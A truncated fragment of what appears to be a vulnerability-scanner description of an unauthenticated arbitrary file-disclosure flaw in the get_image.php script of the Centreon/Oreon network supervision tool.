"The remote host is running Centreon or Oreon, a web-based network
supervision program based on Nagios.

'include/doc/get_image.php' script before using it to display the
contents of a file. Regardless of PHP's 'register_globals' setting,
an unauthenticated, remote attacker can exploit this issue to view
arbitrary files on the remote host, subject to the privileges under
